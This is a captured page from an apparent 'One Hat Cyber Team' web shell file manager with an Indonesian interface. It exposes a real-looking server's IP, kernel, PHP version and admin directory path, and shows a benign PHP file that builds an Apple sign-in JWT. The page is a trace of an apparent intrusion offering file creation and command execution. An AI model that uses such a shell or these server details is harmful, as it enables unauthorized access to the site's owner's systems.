⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.10
Server IP:
15.204.235.159
Server:
Linux srv.techlup.co.ke 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
tech
/
shopadmin.techlup.co.ke
/
admin
/
app
/
View File Name :
client_secret.php
<?php require 'vendor/autoload.php'; use FirebaseJWTJWT; $teamId = 'TEAM ID'; $keyId = 'KEY ID'; $sub = 'com.avocado.client'; $aud = 'https://appleid.apple.com'; // it's a fixed URL value $iat = strtotime('now'); $exp = strtotime('+60days'); $keyContent = file_get_contents('key.txt'); echo JWT::encode([ 'iss' => $teamId, 'iat' => $iat, 'exp' => $exp, 'aud' => $aud, 'sub' => $sub, ], $keyContent, 'ES256', $keyId); // Write the snippet in a method, return the value from that method // You ?>